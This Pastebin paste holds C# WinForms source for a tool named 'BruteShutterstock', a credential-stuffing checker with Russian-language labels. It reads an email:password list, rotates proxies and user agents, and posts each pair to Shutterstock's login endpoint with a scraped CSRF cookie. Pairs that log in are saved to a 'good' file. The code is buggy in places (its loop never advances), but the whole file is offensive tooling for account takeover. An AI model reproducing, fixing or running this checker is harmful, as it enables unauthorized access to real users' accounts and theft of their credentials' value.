Advertisement
Guest User

Untitled

a guest
Nov 6th, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.12 KB | None | 0 0
  1. namespace BruteShutterstock
  2. {
  3. public partial class Form1 : Form
  4. {
  5. Random Rand = new Random();
  6.  
  7. public Form1()
  8. {
  9. InitializeComponent();
  10. }
  11.  
  12. private void button4_Click(object sender, EventArgs e)
  13. {
  14. string p3 = textBox3.Text;
  15. int k = 0, z = 0;
  16. listBox1.Items.Add("Good:0");
  17. listBox1.Items.Add("Bad:0");
  18. string kol = textBox4.Text;
  19. int kol1 = Convert.ToInt32(kol);
  20.  
  21. string[] lines1 = File.ReadAllLines(textBox1.Text);
  22. if (kol1 > lines1.Length)
  23. { kol1 = lines1.Length; }
  24.  
  25.  
  26. Thread potok = new Thread(new ParameterizedThreadStart(registr));
  27. potok.Start(0);
  28. for (int i = 1; i < kol1; i = +9)
  29. {
  30.  
  31.  
  32. }
  33.  
  34.  
  35. }
  36.  
  37.  
  38. private void button1_Click(object sender, EventArgs e)
  39. {
  40. OpenFileDialog ofd = new OpenFileDialog();
  41. if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
  42. {
  43. FileInfo fi = new FileInfo(ofd.FileName);
  44. string path = ofd.FileName;
  45. textBox1.Text = path;
  46. listBox1.Items.Clear();
  47. string[] lines1 = File.ReadAllLines(textBox1.Text);
  48. listBox1.Items.Add("Размер базы : " + lines1.Length);
  49.  
  50. }
  51. }
  52.  
  53. private void button2_Click(object sender, EventArgs e)
  54. {
  55. OpenFileDialog ofd = new OpenFileDialog();
  56. if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
  57. {
  58. FileInfo fi = new FileInfo(ofd.FileName);
  59.  
  60. string path = ofd.FileName;
  61. textBox2.Text = path;
  62. string[] lines2 = File.ReadAllLines(textBox2.Text);
  63. listBox1.Items.Add("Кол-во проксей : " + lines2.Length);
  64. }
  65. }
  66.  
  67. public string login1(string basa)
  68. {
  69. string[] strs = basa.Split(':');
  70. string login = strs[0];
  71. return login;
  72. }
  73.  
  74. public string password(string basa)
  75. {
  76. string[] strs = basa.Split(':');
  77. string password = strs[1];
  78. return password;
  79. }
  80. public string domain(string basa)
  81. {
  82. string ps = login1(basa);
  83. string[] strs = ps.Split('@');
  84. string login = strs[1];
  85. return login;
  86. }
  87. public string user(string basa)
  88. {
  89. string ps = login1(basa);
  90. string[] strs = ps.Split('@');
  91. string login = strs[0];
  92. return login;
  93. }
  94. private void button3_Click(object sender, EventArgs e)
  95. {
  96.  
  97. OpenFileDialog ofd = new OpenFileDialog();
  98. if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
  99. {
  100. FileInfo fi = new FileInfo(ofd.FileName);
  101.  
  102. string path = ofd.FileName;
  103. textBox3.Text = path;
  104. }
  105. }
  106.  
  107. public void registr(object c)
  108. {
  109. int i = (int)c;
  110. string p1 = textBox1.Text;
  111. string p2 = textBox2.Text;
  112. string p3 = textBox3.Text;
  113. string[] lines1 = File.ReadAllLines(p1);
  114. string[] lines2 = File.ReadAllLines(p2);
  115. if (i < lines1.Length)
  116. {
  117.  
  118.  
  119. using (var request = new HttpRequest())
  120. {
  121. var useragenT = Http.OperaUserAgent();
  122. int ran = Rand.Next(0, lines2.Length);
  123. request.Proxy = HttpProxyClient.Parse(lines2[ran]);
  124.  
  125. var useraGENT = Http.ChromeUserAgent();
  126.  
  127. request.UserAgent = useraGENT;
  128. request.AddHeader("Upgrade-Insecure-Requests", "1");
  129. var result = request.Get("https://accounts.shutterstock.com/login");
  130.  
  131. var cookies = result.Cookies;
  132.  
  133. var csrf = "";
  134. foreach (var m in cookies)
  135. if (m.Key == "did")
  136. csrf = m.Value;
  137. result = request.Get("https://accounts.shutterstock.com/login");
  138.  
  139. request.UserAgent = useraGENT;
  140. request.Cookies = cookies;
  141.  
  142. string data = "_csrf=" + csrf + "&next=%2F&username=" + user(lines1[i]) + "%40" + domain(lines1[i]) + "&password=" + password(lines1[i]) + "&login=";
  143.  
  144.  
  145. result = request.Post("https://accounts.shutterstock.com/login?next=%2F", data, "application/x-www-form-urlencoded");
  146. var cookiesi = result.Cookies;
  147. var ce = "";
  148. foreach (var m in cookies)
  149. if (m.Key == "proof")
  150. ce = m.Value;
  151.  
  152.  
  153. if (ce != "")
  154. {
  155. string k = listBox1.Items[2].ToString();
  156. string[] strs = k.Split(':');
  157. string cislo = strs[1];
  158. int ch = Convert.ToInt32(cislo);
  159. ch = ch + 1;
  160. listBox1.Items.RemoveAt(2);
  161. listBox1.Items.Insert(2, "Good:" + ch);
  162.  
  163.  
  164.  
  165.  
  166. using (StreamWriter sw = File.AppendText(p3))
  167. {
  168. sw.WriteLine(lines1[i]);
  169.  
  170. }
  171. }
  172. else
  173. {
  174. string k = listBox1.Items[3].ToString();
  175. string[] strs = k.Split(':');
  176. string cislo = strs[1];
  177. int ch = Convert.ToInt32(cislo);
  178. ch = ch + 1;
  179. listBox1.Items.RemoveAt(3);
  180. listBox1.Items.Insert(3, "Bad : " + ch);
  181. }
  182.  
  183. }
  184. }
  185. }
  186.  
  187.  
  188. }
  189. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement